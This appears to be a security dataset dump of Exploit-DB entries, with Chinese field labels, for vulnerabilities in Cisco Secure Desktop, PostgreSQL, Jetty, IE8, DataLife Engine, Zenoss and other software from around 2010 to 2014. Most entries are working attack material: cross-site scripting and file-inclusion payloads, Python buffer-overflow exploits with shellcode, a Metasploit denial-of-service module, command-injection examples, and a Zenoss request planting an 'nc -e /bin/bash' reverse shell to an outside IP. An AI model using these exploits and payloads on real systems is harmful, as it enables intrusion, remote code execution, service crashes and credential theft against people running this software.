QLWD/code_shield huggingface dataset:
标题: Cisco Secure Desktop 3.x - 'translation' Cross-Site Scripting EDB-ID: 33567 CVE: 2010-0440 类型: REMOTE 平台: HARDWARE 发布日期: 2010-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/37960/info

Cisco Secure Desktop is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Cisco Secure Desktop 3.5 are vulnerable. 

REQUEST:
POST https://www.example.com/+CSCOT+/translation?textdomain=csd&prefix=trans&lang=en-us HTTP/1.1 
Host: www.example.com 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 (.NET CLR 3.5.30729) 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 
Keep-Alive: 300 
Connection: keep-alive 
Referer: https://www.example.com/CACHE/sdesktop/install/start.htm 
Content-Type: application/xml; charset=UTF-8 
Cookie: webvpnLang=en-us; webvpnlogin=1
Pragma: no-cache 
Cache-Control: no-cache 
Content-Length: 56

Starting, please wait..."><script>alert(1);</script>

RESPONSE:
HTTP/1.1 200 OK 
Server: Cisco AWARE 2.0 
Content-Type: text/html; charset=UTF-8 
Cache-Control: no-cache 
Pragma: no-cache 
Connection: Keep-Alive 
Date: Mon, 16 Nov 2009 14:14:07 GMT
Content-Length: 122

trans["Starting, please wait...\"><script>alert(1);</script>"] = "Starting, please wait...\"><script>alert(1);</script>"; URL: https://www.exploit-db.com/exploits/33567
标题: PostgreSQL - 'bitsubstr' Buffer Overflow EDB-ID: 33571 CVE: 2010-0442 类型: DOS 平台: LINUX 发布日期: 2010-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/37973/info

PostgreSQL is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with elevated privileges or crash the affected application.

PostgreSQL 8.0.23 is vulnerable; other versions may also be affected.


testdb=# select substring(B'101010101010101010101010101010101010
10101010101',33,-15); URL: https://www.exploit-db.com/exploits/33571
标题: Jetty 6.1.x - JSP Snoop Page Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33564 CVE: 2009-4612 类型: WEBAPPS 平台: JSP 发布日期: 2009-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/37927/info

Jetty is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/jspsnoop/ERROR/%3Cscript%3Ealert(123)%3C/script%3E
http://www.example.com/jspsnoop/IOException/%3Cscript%3Ealert(123)%3C/script%3E
http://www.example.com/jspsnoop/%3Cscript%3Ealert(123)%3C/script%3E URL: https://www.exploit-db.com/exploits/33564
标题: Google Chrome 3.0 - Style Sheet redirection Information Disclosure EDB-ID: 33562 CVE: 2010-0315 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/37917/info

Google Chrome is prone to a remote information-disclosure vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information that may lead to further attacks. 

<link rel="stylesheet" type="text/css" href="http://www.example.com"> Hola <script language="javascript"> setTimeout("alert(document.styleSheets[0].href)", 10000); //setTimeout is used just to wait for page loading </script> URL: https://www.exploit-db.com/exploits/33562
标题: Apple Safari 4.0.4 - Style Sheet redirection Information Disclosure EDB-ID: 33563 CVE: 2010-0314 类型: REMOTE 平台: WINDOWS 发布日期: 2010-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/37925/info

Apple Safari is prone to a remote information-disclosure vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information that may lead to further attacks.

<link rel="stylesheet" type="text/css" href="http://www.example.com"> Hola <script language="javascript"> setTimeout("alert(document.styleSheets[0].href)", 10000); //setTimeout is used just to wait for page loading </script> URL: https://www.exploit-db.com/exploits/33563
标题: Sun Java System Web Server 6.1/7.0 - WebDAV Format String EDB-ID: 33560 CVE: 2010-0388 类型: DOS 平台: MULTIPLE 发布日期: 2010-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/37910/info

Sun Java System Web Server is prone to a format-string vulnerability because it fails to properly sanitize user-supplied input. The issue affects the WebDAV functionality.

Currently very few technical details are available. We will update this BID as more information emerges.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

The issues affects the following:

Sun Java System Web Server 7.0 without Update Release 8
Sun Java System Web Server 6.1 without Service Pack 12 

s="PROPFIND /pages/ HTTP/1.1\n" # WebDAV URI
s+="Host: localhost\n"
s+="Depth: 0\n"
s+="Content-Length: 58\n"
s+="Content-Type: application/xml\n\n"
s+="<?xml version=\"1.0\" encoding=\"utf-%n%n%n%n%n%n%n%n%n%n\"?>" URL: https://www.exploit-db.com/exploits/33560
标题: Microsoft Internet Explorer 8 - URI Validation Remote Code Execution EDB-ID: 33552 CVE: 2010-0027 类型: REMOTE 平台: WINDOWS 发布日期: 2010-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/37884/info

Microsoft Internet Explorer is prone to a remote code-execution vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the computer.

NOTE: Reports indicate that the issue can also be exploited via other applications that use the 'ShellExecute()' API. 

############# PoC one #################
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\windows/calc.exe">
</html>

############## PoC Two #############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\our_txtfile.txt">
</html>

############# PoC Three ###############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms">
</iframe>
</html>

############# PoC four ##############

<html>
<head>
</head>
<body>
<script type="text/javascript">
function getContentFromIframe(iFrameName)
{
var myIFrame = document.getElementById(iFrameName);
var content = myIFrame.contentWindow.document.body.innerHTML;
alert('content: ' + content);

content = 'change iframe content';
myIFrame.contentWindow.document.body.innerHTML = content;
}
</script> <iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms"></iframe>

<a href="#" onclick="getContentFromIframe('myIframe')">Get the content</a>

</body>
</html>

########### PoC Five ######################
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(’GET’,
‘handler:document.write%28'shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms’,
true);
req.send(”);

############### PoC six #############

<html><body><div>

<script>
function getHTTPObject()
{
if (typeof XMLHttpRequest != 'undefined')
{
return new XMLHttpRequest();
}
try {
return new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e)
{
try
{
return new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
return false;
}
x = getHTTPObject();
x.open("GET","shit:shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms",false);
x.send(null);
alert(x.responseText);

</script>

</div></body></html> URL: https://www.exploit-db.com/exploits/33552
标题: Easysitenetwork Jokes Complete Website - 'searchingred' Cross-Site Scripting EDB-ID: 33546 CVE: 2010-1111 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/37852/info
 
EasySiteNetwork Jokes Complete Website is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/Jokes/results.php?searchingred=<img+src=http://www.example.com/cars.jpg+onload=alert(213771818860)> URL: https://www.exploit-db.com/exploits/33546
标题: Easysitenetwork Jokes Complete Website - 'id' Cross-Site Scripting EDB-ID: 33545 CVE: 2010-1111 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/37852/info

EasySiteNetwork Jokes Complete Website is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/Jokes/joke.php?id=>"><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>&listtype=1 URL: https://www.exploit-db.com/exploits/33545
标题: TORQUE Resource Manager 2.5.x < 2.5.13 - Stack Buffer Overflow Stub EDB-ID: 33554 CVE: 2014-0749 类型: REMOTE 平台: LINUX 发布日期: 2014-05-28 漏洞利用脚本: #!/usr/bin/env python
# Exploit Title: TORQUE Resource Manager 2.5.x-2.5.13 stack based buffer overflow stub
# Date: 27 May 2014
# Exploit Author: bwall - @botnet_hunter
# Vulnerability discovered by: MWR Labs
# CVE: CVE-2014-0749
# Vendor Homepage: http://www.adaptivecomputing.com/
# Software Link: http://www.adaptivecomputing.com/support/download-center/torque-download/
# Version: 2.5.13
# Tested on: Manjaro x64
# Description:
# A buffer overflow while parsing the DIS network communication protocol.  It is triggered when requesting that
# a larger amount of data than the small buffer be read.  The first digit supplied is the number of digits in the
# data, the next digits are the actual size of the buffer.
#
# This is an exploit stub, meant to be a quick proof of concept.  This was built and tested for a 64 bit system
# with ASLR disabled.  Since Adaptive Computing does not supply binary distributions, TORQUE will likely be
# compiled on the target system.  The result of this exploit is intended to just point RIP at 'exit()'

import socket


ip = "172.16.246.177"
port = 15001

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))

offset = 143
header = str(len(str(offset))) + str(offset) + '1'

packet = header
packet += "\x00" * (140 - len(packet))
packet += ('\xc0\x18\x76\xf7\xff\x7f\x00\x00') # exit() may require a different offset in your build

s.sendall(packet)
data = s.recv(1024)
s.close() URL: https://www.exploit-db.com/exploits/33554
标题: Wireshark CAPWAP Dissector - Denial of Service (Metasploit) EDB-ID: 33556 CVE: 2013-4074 类型: DOS 平台: MULTIPLE 发布日期: 2014-05-28 漏洞利用脚本: #
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wireshark CAPWAP Dissector DoS',
      'Description'    => %q{
        This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0
        to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an
        incomplete packet.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Laurent Butti', # Discovery vulnerability
          'j0sm1'  # Auxiliary msf module
        ],
      'References'     =>
        [
          ['CVE', '2013-4074'],
          ['OSVDB', '94091'],
          ['BID', '60500']
        ],
      'DisclosureDate' => 'Apr 28 2014'))

    # Protocol capwap needs port 5247 to trigger the dissector in wireshark
    register_options([ Opt::RPORT(5247) ], self.class)
  end

  def run

    connect_udp

    # We send a packet incomplete to crash dissector
    print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
    # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
    # the dissector crash
    # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
    # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
    buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
    udp_sock.put(buf)

    disconnect_udp

  end
end URL: https://www.exploit-db.com/exploits/33556
标题: Sun Java System Web Server 6.1/7.0 - Digest Authentication Remote Buffer Overflow EDB-ID: 33553 CVE: 2010-0387 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/37896/info

Sun Java System Web Server is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

The issues affects the following:

Sun Java System Web Server 7.0 without Update Release 8
Sun Java System Web Server 6.1 without Service Pack 12
Sun Java System Web Proxy Server 4.0 without Service pack 13 

buf = "PUT / HTTP/1.0\n"
buf += "Authorization: Digest "
buf += "ABCD,"*1000
buf += "\n\n" URL: https://www.exploit-db.com/exploits/33553
标题: Zenoss 2.3.3 - Multiple Cross-Site Request Forgery Vulnerabilities EDB-ID: 33536 CVE: 2010-0713 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/37843/info

Zenoss is prone to multiple cross-site request-forgery vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain administrative actions, execute arbitrary commands, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible.

Zenoss 2.3.3 is vulnerable; prior versions are also vulnerable. 


http://www.example.com/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1&defaultAdminRole=ZenUser&defaultPageSize:int=40&email=&eventConsoleRefresh: boolean=True&manage_editUserSettings:method=Save&netMapStartObject=&pager=& password=letmein&sndpassword=letmein&zenScreenName=editUserSettings

http://www.example.com/zport/dmd/userCommands/ping?command:text=nc -e /bin/bash 172.16.28.6 443&commandId=ping&description:text=& manage_editUserCommand:method=Save&zenScreenName=userCommandDetail

http://www.example.com/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping URL: https://www.exploit-db.com/exploits/33536
标题: DataLife Engine 8.3 - '/engine/ajax/addcomments.php?_REQUEST[skin]' Remote File Inclusion EDB-ID: 33544 CVE: 2010-2005 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/37851/info
   
Datalife Engine is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.
   
Datalife Engine 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://www.example2.com URL: https://www.exploit-db.com/exploits/33544
标题: DataLife Engine 8.3 - '/engine/ajax/pm.php?config[lang]' Remote File Inclusion EDB-ID: 33543 CVE: 2010-2005 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/37851/info
  
Datalife Engine is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.
  
Datalife Engine 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/engine/ajax/pm.php?config[lang_=http://www.example2.com URL: https://www.exploit-db.com/exploits/33543
标题: DataLife Engine 8.3 - '/engine/inc/include/init.php?selected_language' Remote File Inclusion EDB-ID: 33541 CVE: 2010-2005 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/37851/info

Datalife Engine is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

Datalife Engine 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/engine/inc/include/init.php?selected_language=http://www.example2.com URL: https://www.exploit-db.com/exploits/33541
标题: Easy File Sharing FTP Server 3.5 - Remote Stack Buffer Overflow EDB-ID: 33538 CVE: 2006-3952 类型: REMOTE 平台: WINDOWS 发布日期: 2014-05-27 漏洞利用脚本: #!/usr/bin/env python
# Exploit Title: Easy File Sharing FTP Server 3.5 stack buffer overflow
# Date: 27 May 2014
# Exploit Author: superkojiman - http://www.techorganic.com
# Vulnerability discovered by: h07
# CVE: CVE-2006-3952
# OSVDB: 27646
# Vendor Homepage: http://www.efssoft.com
# Software Link: http://www.efssoft.com/ftpserver.htm
# Version: 3.5
# Tested on: Windows 8.1 Enterprise , English
#          : Windows 7 Enterprise SP1, English
#          : Windows XP SP3, English
#
# Description: 
# A buffer overflow is triggered when when a large password is sent to the 
# server.
#
# h07 found this bug in 2006, targetting EFS FTP Server 2.0. The original 
# exploits relied on OS DLLs to reference a pop/pop/retn address to leverage a 
# SEH attack. This was a bit unreliable as different versions of Windows would 
# have different addresses and the exploit would need to be modified with the 
# correct pop/pop/retn address. 
#
# Fast forward to 2014. EFS FTP Server is now at version 3.5 (2012) and 
# includes new features, such as SSL support. Ironically, by adding SSL 
# support, they've given us a reliable pop/pop/retn address in the included 
# SSLEAY32.DLL! This exploit should work reliably with any Windows release. 


import socket
import struct

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin 
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = ( 
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

payload = "\x2c"
payload += "A"*2559
payload += "\xeb\x19\x90\x90"               # jmp to nop sled + shellcode
payload += struct.pack("<I", 0x10017F21)    # pop/pop/ret, SSLEAY32.DLL
payload += "\x90"*30
payload += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.130", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + "\r\n")
s.recv(1024)
s.close() URL: https://www.exploit-db.com/exploits/33538
标题: LetoDms 1.4.x - 'lang' Local File Inclusion EDB-ID: 33530 CVE: 2010-2006 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/37828/info

LetoDMS (formerly known as MyDMS) is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying computer; other attacks are also possible.

LetoDMS 1.7.2 is vulnerable; other versions may also be affected.


GET /mydms/op/op.Login.php?login=guest&sesstheme=&lang=../../../../boot.ini%00&sesstheme= HTTP/1.1 URL: https://www.exploit-db.com/exploits/33530
标题: Joomla! Component com_marketplace 1.2 - 'catid' Cross-Site Scripting EDB-ID: 33529 CVE: 2010-0374 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/37819/info

The Joomla! 'com_marketplace' component is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects com_marketplace 1.2; other versions may also be affected. 

http://www.example.com/index.php?option=com_marketplace&page=show_category&catid=%22%3E%3Cscript%3Ealert(1);%3C/script%3E URL: https://www.exploit-db.com/exploits/33529
标题: DataLife Engine 8.3 - '/engine/inc/help.php?config[langs]' Remote File Inclusion EDB-ID: 33542 CVE: 2010-2005 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/37851/info
 
Datalife Engine is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.
 
Datalife Engine 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/engine/inc/help.php?config[langs]=http://www.example2.com URL: https://www.exploit-db.com/exploits/33542
标题: SystemTap 1.0 - 'stat-server' Arbitrary Command Injection EDB-ID: 33535 CVE: 2009-4273 类型: REMOTE 平台: LINUX 发布日期: 2010-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/37842/info

SystemTap is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application.

Versions prior to SystemTap 1.1 are vulnerable. 


The following example commands are available:

stap-client \; ...
stap-client -; ...
stap-client -D 'asdf ; ls /etc' ...
stap-client -e 'script' -D 'asdf ; \; ' URL: https://www.exploit-db.com/exploits/33535